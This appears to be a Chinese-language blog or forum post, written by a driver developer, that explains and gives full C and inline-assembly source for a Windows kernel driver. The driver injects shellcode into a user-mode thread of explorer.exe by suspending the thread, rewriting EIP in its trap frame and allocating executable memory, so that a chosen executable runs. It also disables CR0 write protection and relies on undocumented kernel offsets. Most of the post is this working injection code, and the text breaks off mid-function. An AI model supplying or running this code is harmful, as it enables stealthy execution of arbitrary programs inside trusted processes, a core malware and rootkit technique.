近日有在写一个小东西
需要在内核态中运行一个WIN32程序
之前提到的插入APC可以满足部分要求
但是一到WIN7
x86平台下就崩溃了
WIN7下只能插入第三方的进程
一插入系统进程就崩溃,但是这样满足不了我们猥琐的想法
- - 后来找到了一段代码
是注入RING3线程的
基本流程就是 查找系统中某个进程
比如explorer.exe
然后遍历线程链表,判断线程是否是RING3的线程,
而且不是被挂起的。(这个无所谓的)。。。
找到符合要求的线程之后在对方进程中申请一段内存来存放我们自己的ShellCode 代码
然后修改线程的_KTRAP_FRAME中的EIP的值,使线程跑起来的时候先运行我们的自己的
代码,运行完了之后跳回到原来的EIP去指定。。。
需要用到两个未公开的函数:ZwSuspendThread,ZwResumeThread
一个是挂起线程来方便我们修改EIP的
一个是恢复线程使它跑起来
再说说在RING0下搜索RING3 API地址的方法
其实就是从_EPROCESS中得到PEB结构
从PEB中的ldr中的InInitializationOrderMoudleList链表中去查找Kernel32.dll的基地址
通常来说WINXP中了链表的第一项就是Kernel32.dll的基地址
而到了win7 它就存在第二项了
win7下第一项是kernelbase.dll的基地址 (这个好像是一个kernel32.dll的壳)
不多说了看代码吧
/*************************************************************************************** * * 模块: InjectRing3 [sys module] * * 平台: Windows XP SP2/sp3/ win7 sp1 * * 描述: * Ring0 注入 Ring3 的一种新方法。 * 挂起ring3线程后,修改其TrapFrame里的eip,再恢复其执行。 * * ****************************************************************************************/ #ifndef _PROCESS_H_ #define _PROCESS_H_ #include "ntifs.h" #include <WINDEF.H> #include <ntimage.h> #define ProcessBasicInformation 0 #define SystemProcessesAndThreadsInformation 5 #define SystemModuleInformation 11 // SYSTEMINFOCLASS #define WINDOWS_VERSION_NONE 0 #define WINDOWS_VERSION_2K 1 #define WINDOWS_VERSION_XP 2 #define WINDOWS_VERSION_2K3 3 #define WINDOWS_VERSION_2K3_SP1 4 #define WINDOWS_VERSION_VISTA 5 #define WINDOWS_VERSION_WIN7 6 //线程链表偏移地址 #define BASE_PROCESS_PEB_OFFSET_2K 0//NT5.0.2195.7133 #define BASE_PROCESS_PEB_OFFSET_XP 0x01B0//NT5.1.2600.3093 #define BASE_PROCESS_PEB_OFFSET_2K3 0//nt5.2.3790.0 #define BASE_PROCESS_PEB_OFFSET_2K3_SP1 0//nt5.2.3790.1830 #define BASE_PROCESS_PEB_OFFSET_VISTA 0 #define BASE_PROCESS_PEB_OFFSET_WIN7 0x01a8 //win7 #define BASE_PROCESS_NAME_OFFSET_2K 0x01FC//NT5.0.2195.7133 #define BASE_PROCESS_NAME_OFFSET_XP 0x0174//NT5.1.2600.3093 #define BASE_PROCESS_NAME_OFFSET_2K3 0x0154//nt5.2.3790.0 #define BASE_PROCESS_NAME_OFFSET_2K3_SP1 0x0164//nt5.2.3790.1830 #define BASE_PROCESS_NAME_OFFSET_VISTA 0x014c #define BASE_PROCESS_NAME_OFFSET_WIN7 0x016c //win7 #define BASE_PROCESS_FLINK_OFFSET_2K 0//NT5.0.2195.7133 #define BASE_PROCESS_FLINK_OFFSET_XP 0x0088//NT5.1.2600.3093 #define BASE_PROCESS_FLINK_OFFSET_2K3 0//NT5.2.3790.0 #define BASE_PROCESS_FLINK_OFFSET_2K3_SP1 0//nt5.2.3790.1830 #define BASE_PROCESS_FLINK_OFFSET_VISTA 0 #define BASE_PROCESS_FLINK_OFFSET_WIN7 0x00b8//win7 //ThreadListEntry偏移 #define BASE_KTHREAD_LIST_OFFSET_2K 0 #define BASE_KTHREAD_LIST_OFFSET_XP 0x22c #define BASE_KTHREAD_LIST_OFFSET_2K3 0 #define BASE_KTHREAD_LIST_OFFSET_2K3_SP1 0 #define BASE_KTHREAD_LIST_OFFSET_WIN7 0x268 #define BASE_KTHREAD_SuspendCount_OFFSET_2K 0 #define BASE_KTHREAD_SuspendCount_OFFSET_XP 0x1b9 #define BASE_KTHREAD_SuspendCount_OFFSET_2K3 0 #define BASE_KTHREAD_SuspendCount_OFFSET_2K3_SP1 0 #define BASE_KTHREAD_SuspendCount_OFFSET_WIN7 0x188//win7 #define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K 0 #define BASE_KTHREAD_CrossThreadFlags_OFFSET_XP 0x248 #define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3 0 #define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3_SP1 0 #define BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7 0x280 //KTHREAD中的Cid偏移 #define BASE_KTHREAD_Cid_OFFSET_XP 0x1ec #define BASE_KTHREAD_Cid_OFFSET_WIN7 0x22c //KTHREAD中的TrapFrame_偏移 #define BASE_KTHREAD_TrapFrame_OFFSET_XP 0x134 #define BASE_KTHREAD_TrapFrame_OFFSET_WIN7 0x128 //_EPROCESS中的ThreadListHead偏移 #define BASE_PROCESS_ThreadListHead_OFFSET_XP 0x190 #define BASE_PROCESS_ThreadListHead_OFFSET_WIN7 0x188 //_EPROCESS中的Pid偏移 #define BASE_PROCESS_Pid_OFFSET_XP 0x84 #define BASE_PROCESS_Pid_OFFSET_WIN7 0xb4 //_EPROCESS偏移汇总 typedef struct _EPROCESS_OFFSET { WORD wOffsetPeb; WORD wOffsetName; WORD wOffsetFlink; WORD wOffsetResv; WORD wOffsetThreadListHead; WORD wOffsetPid; }EPROCESS_OFFSET, *PEPROCESS_OFFSET, *LPEPROCESS_OFFSET; //_KTHREAD偏移汇总 typedef struct _KTHREAD_OFFSET { WORD wOffsetThreadListEntry; WORD wOffsetSuspendCount; WORD wOffsetCrossThreadFlags; WORD wOffsetCid; WORD wOffsetTrapFrame; }KTHREAD_OFFSET, *PKTHREAD_OFFSET, *LPKTHREAD_OFFSET; //和关机操作又关的一些东西 //这里是Hook NtUserCallOneParam和Hook NtUserCallNoParam的东西 typedef struct _SHUTDOWN_PARAM { WORD WinVer; //Windows版本 LONG uRoutine;//关机的参数 PEPROCESS Explorer_PE;//explorer.exe的_EPROCESS }SHUTDOWN_PARAM ,*PSHUTDOWN_PARAM ; SHUTDOWN_PARAM shutdown_param; typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry; extern PServiceDescriptorTableEntry KeServiceDescriptorTable;;//SSDT PServiceDescriptorTableEntry ShadowKeServiceDescriptorTable;//ShadowSSDT //global EPROCESS_OFFSET g_EProcessOffset; KTHREAD_OFFSET g_KThreadOffset; ULONG g_WinExec; #define SEC_IMAGE 0x1000000 typedef struct _SECTION_IMAGE_INFORMATION { PULONG TransferAddress; ULONG ZeroBits; ULONG MaximumStackSize; ULONG CommittedStackSize; ULONG SubSysmtemType; USHORT SubSystemMinorVersion; USHORT SubSystemMajorVersion; ULONG GpValue; USHORT Imagecharacteristics; USHORT DllCharacteristics; USHORT Machine; UCHAR ImageContainsCode; UCHAR Spare1; ULONG LoaderFlags; ULONG ImageFileSize; ULONG Reserved; }SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; typedef struct _X86_KTRAP_FRAME { ULONG DbgEbp; ULONG DbgEip; ULONG DbgArgMark; ULONG DbgArgPointer; ULONG TempSegCs; ULONG TempEsp; ULONG Dr0; ULONG Dr1; ULONG Dr2; ULONG Dr3; ULONG Dr6; ULONG Dr7; ULONG SegGs; ULONG SegEs; ULONG SegDs; ULONG Edx; ULONG Ecx; ULONG Eax; ULONG PreviousPreviousMode; ULONG ExceptionList; ULONG SegFs; ULONG Edi; ULONG Esi; ULONG Ebx; ULONG Ebp; ULONG ErrCode; ULONG Eip; ULONG SegCs; ULONG EFlags; ULONG HardwareEsp; ULONG HardwareSegSs; ULONG V86Es; ULONG V86Ds; ULONG V86Fs; ULONG V86Gs; } X86_KTRAP_FRAME, *PX86_KTRAP_FRAME; typedef struct _MODULE_ENTRY { LIST_ENTRY le_mod; ULONG unknown[4]; ULONG base; ULONG driver_start; ULONG unk1; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; //....... } MODULE_ENTRY, *PMODULE_ENTRY; typedef NTSTATUS (__stdcall * pfnZwSuspendThread)( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL ); pfnZwSuspendThread KeSuspendThread = NULL; pfnZwSuspendThread KeResumeThread = NULL; VOID WPOFF() { __asm { cli mov eax, cr0 and eax, ~10000h mov cr0, eax } } VOID WPON() { __asm { mov eax, cr0 or eax, 10000h mov cr0, eax sti } } /************************************************************************/ /* win7下搜索kernel32.dll中的 WinExec地址 */ /************************************************************************/ ULONG SearchApiWin7(WORD api_hash) /* * 在kern32.dll中搜索指定API地址 * Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14 */ { //搜索k32dll的API地址 PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink); PLIST_ENTRY pTempList = pCurrentList; PEPROCESS pEProcess = NULL; do { PPEB peb = NULL; PUCHAR lpname = NULL; pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink); peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb)); lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName; KdPrint(("process %s\n", lpname)); if ((peb != NULL) && (_strnicmp(lpname, "explorer.exe", 8) == 0)) //不区分大小写 { ULONG api_addr = 0; shutdown_param.Explorer_PE = pEProcess; //记录explorer进程指针 KeAttachProcess((PKPROCESS)pEProcess);//附加进程 _asm { mov eax, peb; mov eax, [eax+0x0c];//ldr mov esi, [eax+0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct mov esi,[esi]//win7要加这一句 lodsd; //eax = [esi]; mov ebx, [eax+0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY //now get pe image infos to find LoadLibrary and GetProcAddress API //assert ebx is the pe image base!!! mov ax, api_hash; //Hash(LoadLibraryA) = 0xae14 //Hash(WinExec) = 0x72dc //call search_api; //mov [ebp-4], eax; //this is LoadLibraryA API //------------------------------------------------------------------------------ //ebx-PE Image Base,eax-hash of api name, return eax!!! //------------------------------------------------------------------------------ //search_api: mov edx, eax; mov eax, [ebx+0x3c]; //File address of the new exe header mov eax, [eax+ebx+0x78]; //pe base ->data directory[16] add eax, ebx; //get directory[0] Address ->export table ->eax mov esi, [eax+0x20]; //get export funs names rva add esi, ebx; //esi->export names table address //mov ecx, [eax+0x18]; //get export funs numbers xor ecx, ecx; //search funs name tables next_api: mov edi, [esi+ecx*4]; // add edi, ebx; //----------------------------------- //计算[edi]字符串的hash值 //----------------------------------- pushad; xor eax, eax; cacul_next: shl eax, 2; movzx ecx, byte ptr[edi]; add ax, cx; inc edi; inc ecx; loop cacul_next; //test edx!!! cmp ax, dx; jz search_end; popad; inc ecx; jmp next_api; search_end: popad; //ecx is the GetProcAdress index mov eax, [eax+0x1c]; add eax, ebx; mov eax, [eax+4*ecx]; add eax, ebx; mov api_addr, eax; //ret; } KdPrint(("%08x\n", api_addr)); KeDetachProcess(); return api_addr; } pTempList = pTempList->Flink; } while(pCurrentList != pTempList); return 0; } /************************************************************************/ /* winxp下搜索kernel32.dll中的 WinExec地址 */ /************************************************************************/ ULONG SearchApiXp(WORD api_hash) /* * 在kern32.dll中搜索指定API地址 * Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14 */ { //搜索k32dll的API地址 PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink); PLIST_ENTRY pTempList = pCurrentList; PEPROCESS pEProcess = NULL; do { PPEB peb = NULL; PUCHAR lpname = NULL; pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink); peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb)); lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName; KdPrint(("process %s\n", lpname)); if ((peb != NULL) && (_strnicmp(lpname, "explorer.exe", 8) == 0)) //不区分大小写 { ULONG api_addr = 0; //g_EProcessWinlogon = pEProcess; //记录winlogon进程指针 shutdown_param.Explorer_PE = pEProcess; KeAttachProcess((PKPROCESS)pEProcess); _asm { mov eax, peb; mov eax, [eax+0x0c];//ldr mov esi, [eax+0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct lodsd; //eax = [esi]; mov ebx, [eax+0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY //now get pe image infos to find LoadLibrary and GetProcAddress API //assert ebx is the pe image base!!! mov ax, api_hash; //Hash(LoadLibraryA) = 0xae14 //Hash(WinExec) = 0x72dc //call search_api; //mov [ebp-4], eax; //this is LoadLibraryA API //------------------------------------------------------------------------------ //ebx-PE Image Base,eax-hash of api name, return eax!!! //------------------------------------------------------------------------------ //search_api: mov edx, eax; mov eax, [ebx+0x3c]; //File address of the new exe header mov eax, [eax+ebx+0x78]; //pe base ->data directory[16] add eax, ebx; //get directory[0] Address ->export table ->eax mov esi, [eax+0x20]; //get export funs names rva add esi, ebx; //esi->export names table address //mov ecx, [eax+0x18]; //get export funs numbers xor ecx, ecx; //search funs name tables next_api: mov edi, [esi+ecx*4]; // add edi, ebx; //----------------------------------- //计算[edi]字符串的hash值 //----------------------------------- pushad; xor eax, eax; cacul_next: shl eax, 2; movzx ecx, byte ptr[edi]; add ax, cx; inc edi; inc ecx; loop cacul_next; //test edx!!! cmp ax, dx; jz search_end; popad; inc ecx; jmp next_api; search_end: popad; //ecx is the GetProcAdress index mov eax, [eax+0x1c]; add eax, ebx; mov eax, [eax+4*ecx]; add eax, ebx; mov api_addr, eax; //ret; } KdPrint(("%08x\n", api_addr)); KeDetachProcess(); return api_addr; } pTempList = pTempList->Flink; } while(pCurrentList != pTempList); return 0; } /************************************************************************/ /* 获取WINDOWS版本 通过ImageName偏移来判断 */ /************************************************************************/ WORD GetWindowsVersion() { PEPROCESS pSystemProcess = PsGetCurrentProcess(); WORD offset; for (offset=0; offset < PAGE_SIZE; offset++) { if(strncmp("System", (PCHAR)pSystemProcess + offset, 6) == 0) { g_EProcessOffset.wOffsetName = offset; KdPrint(("%08x", offset)); switch (offset) { case BASE_PROCESS_NAME_OFFSET_2K: KdPrint(("WINDOWS_VERSION_2K\n")); return WINDOWS_VERSION_2K; break; case BASE_PROCESS_NAME_OFFSET_XP: KdPrint(("WINDOWS_VERSION_XP\n")); return WINDOWS_VERSION_XP; break; case BASE_PROCESS_NAME_OFFSET_2K3: KdPrint(("WINDOWS_VERSION_2K3\n")); return WINDOWS_VERSION_2K3; break; case BASE_PROCESS_NAME_OFFSET_2K3_SP1: KdPrint(("WINDOWS_VERSION_2K3_SP1\n")); return WINDOWS_VERSION_2K3_SP1; break; case BASE_PROCESS_NAME_OFFSET_VISTA: KdPrint(("WINDOWS_VERSION_VISTA\n")); return WINDOWS_VERSION_VISTA; break; case BASE_PROCESS_NAME_OFFSET_WIN7: KdPrint(("WINDOWS_VERSION_WIN7\n")); return WINDOWS_VERSION_WIN7; break; default: return WINDOWS_VERSION_NONE; } } } return WINDOWS_VERSION_NONE; } /************************************************************************/ /* 根据WINDOWS平台 初始化一些偏移,根据偏移得到Win32 API的地址(WinExec) 这里只对WINXP 和 WIN7进行了处理 */ /************************************************************************/ BOOLEAN InitEProcessInfo() { switch (GetWindowsVersion()) { case WINDOWS_VERSION_2K: g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K; g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K; g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K; // g_KThreadOffset.wOffsetAlertable = BASE_KTHREAD_ALERTABLE_OFFSET_2K; // g_KThreadOffset.wOffsetApcState = BASE_KTHREAD_APCSTATE_OFFSET_2K; break; case WINDOWS_VERSION_XP: g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_XP; g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_XP; g_EProcessOffset.wOffsetThreadListHead = BASE_PROCESS_ThreadListHead_OFFSET_XP; g_EProcessOffset.wOffsetName = BASE_PROCESS_NAME_OFFSET_XP; g_EProcessOffset.wOffsetPid = BASE_PROCESS_Pid_OFFSET_XP; g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_XP; g_KThreadOffset.wOffsetSuspendCount = BASE_KTHREAD_SuspendCount_OFFSET_XP; g_KThreadOffset.wOffsetCrossThreadFlags = BASE_KTHREAD_CrossThreadFlags_OFFSET_XP; g_KThreadOffset.wOffsetCid = BASE_KTHREAD_Cid_OFFSET_XP; g_KThreadOffset.wOffsetTrapFrame = BASE_KTHREAD_TrapFrame_OFFSET_XP; shutdown_param.uRoutine = 0x34; shutdown_param.WinVer = WINDOWS_VERSION_XP; //搜索API __try { g_WinExec = SearchApiXp(0x72dc); } __except(EXCEPTION_EXECUTE_HANDLER) { return FALSE; } break; case WINDOWS_VERSION_2K3: g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K3; g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K3; g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K3; // g_KThreadOffset.wOffsetAlertable = BASE_KTHREAD_ALERTABLE_OFFSET_2K3; // g_KThreadOffset.wOffsetApcState = BASE_KTHREAD_APCSTATE_OFFSET_2K3; break; case WINDOWS_VERSION_2K3_SP1: g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K3_SP1; g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K3_SP1; g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K3_SP1; // g_KThreadOffset.wOffsetAlertable = BASE_KTHREAD_ALERTABLE_OFFSET_2K3_SP1; // g_KThreadOffset.wOffsetApcState = BASE_KTHREAD_APCSTATE_OFFSET_2K3_SP1; break; case WINDOWS_VERSION_WIN7: g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_WIN7; g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_WIN7; g_EProcessOffset.wOffsetThreadListHead = BASE_PROCESS_ThreadListHead_OFFSET_WIN7; g_EProcessOffset.wOffsetName = BASE_PROCESS_NAME_OFFSET_WIN7; g_EProcessOffset.wOffsetPid = BASE_PROCESS_Pid_OFFSET_WIN7; g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_WIN7; g_KThreadOffset.wOffsetSuspendCount = BASE_KTHREAD_SuspendCount_OFFSET_WIN7; g_KThreadOffset.wOffsetCrossThreadFlags = BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7; g_KThreadOffset.wOffsetCid = BASE_KTHREAD_Cid_OFFSET_WIN7; g_KThreadOffset.wOffsetTrapFrame = BASE_KTHREAD_TrapFrame_OFFSET_WIN7; shutdown_param.uRoutine = 0x10; shutdown_param.WinVer = WINDOWS_VERSION_WIN7; //搜索API __try { g_WinExec = SearchApiWin7(0x72dc); } __except(EXCEPTION_EXECUTE_HANDLER) { return FALSE; } break; default: KdPrint(("OS not support!\n")); return TRUE; } return TRUE; } /************************************************************************/ /* 获取SSDT服务函数索引号 */ /************************************************************************/ DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName) { HANDLE hThread, hSection, hFile, hMod; SECTION_IMAGE_INFORMATION sii; IMAGE_DOS_HEADER* dosheader; IMAGE_OPTIONAL_HEADER* opthdr; IMAGE_EXPORT_DIRECTORY* pExportTable; DWORD* arrayOfFunctionAddresses; DWORD* arrayOfFunctionNames; WORD* arrayOfFunctionOrdinals; DWORD functionOrdinal; DWORD Base, x, functionAddress; char* functionName; STRING ntFunctionName, ntFunctionNameSearch; PVOID BaseAddress = NULL; SIZE_T size=0; OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE}; IO_STATUS_BLOCK iosb; //_asm int 3; ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); oa.ObjectName = 0; ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile); ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE); ZwClose(hFile); //BaseAddress = GetModlueBaseAdress("ntoskrnl.exe"); hMod = BaseAddress; dosheader = (IMAGE_DOS_HEADER *)hMod; opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24); pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); // now we can get the exported functions, but note we convert from RVA to address arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions); arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames); arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals); Base = pExportTable->Base; RtlInitString(&ntFunctionNameSearch, lpFunctionName); for(x = 0; x < pExportTable->NumberOfFunctions; x++) { functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]); RtlInitString(&ntFunctionName, functionName); functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; // always need to add base, -1 as array counts from 0 // this is the funny bit. you would expect the function pointer to simply be arrayOfFunctionAddresses[x]... // oh no... thats too simple. it is actually arrayOfFunctionAddresses[functionOrdinal]!! functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]); if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0) { //ZwClose(hSection); return functionAddress; } } //ZwClose(hSection); return 0; } /************************************************************************/ /* 获取SSDT函数的地址 */ /************************************************************************/ PVOID GetSSDTApi(PCHAR ApiName) { UNICODE_STRING dllName; DWORD functionAddress; int position; RtlInitUnicodeString(&dllName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); __try { functionAddress = GetDllFunctionAddress(ApiName, &dllName); } __except(EXCEPTION_EXECUTE_HANDLER) { } position = *((WORD*)(functionAddress+1)); return (PVOID)*( (PULONG)(KeServiceDescriptorTable->ServiceTableBase) + position ); } //////////////////////////////////////////////// // // 被注入到ring3进程的代码 // //////////////////////////////////////////////// // 2F1D159C > 50 push eax // 2F1D159D B8 FDE51E76 mov eax,0x761EE5FD WinExec // 2F1D15A2 6A 01 push 0x1 // 2F1D15A4 68 FFFFFF7F push 0x7FFFFFFF //C:\\1.exe // 2F1D15A9 FFD0 call eax // call WinExec // 2F1D15AB 58 pop eax /************************************************************************/ /* ShellCode call WinExec */ /************************************************************************/ _declspec (naked) void ShellCode() { _asm { push eax // WinExec mov eax,0x761ee5fd //B8 4D 11 86 7C push 1 //6A 01 push 0x7fffffff //68 FF FF FF 7F call eax //FF D0 pop eax // jmp ds:12345678H, 绝对地址跳转 _emit 0xEA _emit 0x78 _emit 0x56 _emit 0x34 _emit 0x12 _emit 0x1B //段选择子 _emit 0x00 //运行的路径 40个字节 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 _emit 0x00 } } /////////////////////////////////////////////////////// // // 查找ZwSuspendThread和ZwResumeThread // /////////////////////////////////////////////////////// ULONG FindFunc() { KeSuspendThread = (pfnZwSuspendThread)GetSSDTApi("ZwSuspendThread"); KeResumeThread = (pfnZwSuspendThread)GetSSDTApi("ZwResumeThread"); if ( KeSuspendThread && KeResumeThread) return TRUE; return FALSE; } /////////////////////////////////////////////////////////////// // // 注入ShellCode到线程,分配内存来拷贝ShellCode // /////////////////////////////////////////////////////////////// VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess) { ULONG i; PX86_KTRAP_FRAME pTrapFrame; PCLIENT_ID pCid; OBJECT_ATTRIBUTES oa; HANDLE hProcess; NTSTATUS ntstatus; PVOID lpTargetPath = NULL; char *path ; ULONG pathAddr; DbgPrint("Inject Start\n"); // 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常 __try { KeSuspendThread(pThread, NULL); } __except(1) { return; } // PTrapFrame中就是该线程的各个寄存器的值 pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + g_KThreadOffset.wOffsetTrapFrame); // 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回 for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) { if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){ if ( *(PULONG)i == 0x12345678 ) { DbgPrint("find modify point\n"); WPOFF(); *(PULONG)i = pTrapFrame->Eip; WPON(); break; } } } WPOFF(); lpTargetPath = (PVOID)((ULONG)ShellCode + 24); memcpy((PUCHAR)(ULONG)ShellCode + 2, &g_WinExec, 4); //填写winexec地址 memset(lpTargetPath, 0, 40); // WPON(); // 下面的代码是分配空间来放置ShellCode // 调用一些相应函数来实现更好,我比较懒,就硬编码了 InitializeObjectAttributes(&oa,0,0,0,0); pCid = (CLIENT_ID*)((ULONG)pThread + /*0x1ec*/g_KThreadOffset.wOffsetCid); // Cid XP SP2 ntstatus = ZwOpenProcess( &hProcess, PROCESS_ALL_ACCESS, &oa, pCid ); if ( NT_SUCCESS(ntstatus) ) { PVOID pBuff = NULL; SIZE_T size = 0x64; ntstatus = ZwAllocateVirtualMemory( hProcess, &pBuff, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( NT_SUCCESS(ntstatus) ) { KAPC_STATE kapc; // 拷贝ShellCode到目标进程中去 KeStackAttachProcess((PRKPROCESS)pProcess,&kapc); RtlCopyMemory(pBuff,ShellCode,size);//先拷贝ShellCode过去 path = "C:\\tool\\dd2.exe"; pathAddr = ((ULONG)pBuff + 24); RtlCopyMemory( (PVOID)((ULONG)pBuff + 24), path, strlen(path) );//填写运行的路径 path RtlCopyMemory( (PVOID)((ULONG)pBuff + 9), &pathAddr, 4);//填写路径的地址 KeUnstackDetachProcess (&kapc); // pTrapFrame->Eip指向ShellCode pTrapFrame->Eip = (ULONG)pBuff; } ZwClose(hProcess); } // 恢复线程执行 KeResumeThread(pThread, NULL); DbgPrint("Inject End\n"); } //////////////////////////////////////////////// // // 注入ShellCode到进程 // //////////////////////////////////////////////// #define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL #define IS_SYSTEM_THREAD(Thread) ((((Thread)+0x280)&PS_CROSS_THREAD_FLAGS_SYSTEM) != 0) BOOLEAN Inject(char* strProc, int len) { PEPROCESS pProcess; PETHREAD pThread; PLIST_ENTRY pListHead, pNextEntry; PLIST_ENTRY pThListHead, pThNextEntry; UCHAR SuspendCount; ULONG CrossThreadFlags; pProcess = PsGetCurrentProcess(); pListHead = (PLIST_ENTRY)((ULONG)pProcess + g_EProcessOffset.wOffsetFlink); //0x88 //ActiveProcessLinks pNextEntry = pListHead; // 先找到要注入的进程,通过ZwQuerySystemInformation来查找更稳定一些 // 不过本人很讨厌那个繁琐的函数…… do { pProcess = (PEPROCESS)((ULONG)pNextEntry - g_EProcessOffset.wOffsetFlink/*0x88*/); if ( !_strnicmp((char*)pProcess + g_EProcessOffset.wOffsetName/*0x174*/, strProc, len) ) { DbgPrint("find process\n"); pThListHead = (PLIST_ENTRY)((ULONG)pProcess + /*0x190*/g_EProcessOffset.wOffsetThreadListHead); // ThreadListHead, XP SP2 pThNextEntry = pThListHead->Flink; while ( pThNextEntry != pThListHead) { // 接着查找符合条件的线程 pThread = (PETHREAD)((ULONG)pThNextEntry - /*0x22c*/g_KThreadOffset.wOffsetThreadListEntry); // ThreadListEntry, XP SP2 SuspendCount = *(PUCHAR)((ULONG)pThread + /*0x1b9*/g_KThreadOffset.wOffsetSuspendCount); CrossThreadFlags = *(PULONG)((ULONG)pThread + /*0x248*/g_KThreadOffset.wOffsetCrossThreadFlags); if( !SuspendCount && (CrossThreadFlags & PS_CROSS_THREAD_FLAGS_SYSTEM) == 0 ) { // 非Suspend,非退出态,非内核线程 DbgPrint("find thread\n"); // 注入找到的线程 InjectShellCode(pThread,pProcess); return TRUE; break; } pThNextEntry = pThNextEntry->Flink; } break; } pNextEntry = pNextEntry->Flink; } while(pNextEntry != pListHead); return FALSE; } /************************************************************************/ /* 从内核中注入RING3线程 运行我们指定的EXE程序 */ /************************************************************************/ BOOLEAN RunMyProcess(char* strProc, int len) { if ( !FindFunc() ) { DbgPrint("Find KexxxThread failed!\n"); return FALSE; } if ( !Inject(strProc, strlen(strProc)) ) { KdPrint(("Inject failed\n")); return 